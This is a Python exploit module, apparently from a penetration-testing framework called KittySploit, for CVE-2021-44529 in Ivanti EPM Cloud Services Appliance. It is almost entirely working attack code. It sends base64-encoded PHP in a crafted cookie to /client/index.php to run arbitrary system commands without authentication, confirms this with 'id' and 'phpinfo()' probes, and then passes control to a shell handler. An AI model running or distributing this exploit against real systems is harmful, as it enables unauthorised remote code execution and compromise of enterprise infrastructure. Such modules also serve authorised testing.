Ivanti EPM CSA Code Injection (CVE-2021-44529)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ivanti EPM CSA unauthenticated code injection (CVE-2021-44529)."""

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Ivanti EPM CSA Code Injection (CVE-2021-44529)',
        'description': (
            'Exploits CVE-2021-44529 in Ivanti EPM Cloud Services Appliance: '
            'crafted cookie values to /client/index.php execute arbitrary PHP code '
            'without authentication.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-44529'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-44529',
        ],
        'tags': ['ivanti', 'epm', 'csa', 'injection', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2021_44529_detect'],
            },
        },
    }

    def _cookie_payload(self, php: str) -> dict:
        encoded = base64.b64encode(php.encode('utf-8')).decode('ascii')
        return {'Cookie': f'ab=ab; c={encoded}; d=; e=;'}

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        php = f'system("{safe}");'
        r = self.http_request(
            method='GET',
            path='/client/index.php',
            headers=self._cookie_payload(php),
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2021-44529 code injection confirmed', 'confidence': 'high'}
        r = self.http_request(
            method='GET',
            path='/client/index.php',
            headers=self._cookie_payload('phpinfo();'),
            allow_redirects=False,
        )
        if r and 'phpinfo()' in (r.text or '') and 'Cloud Services Appliance' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'CSA phpinfo injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Cookie injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()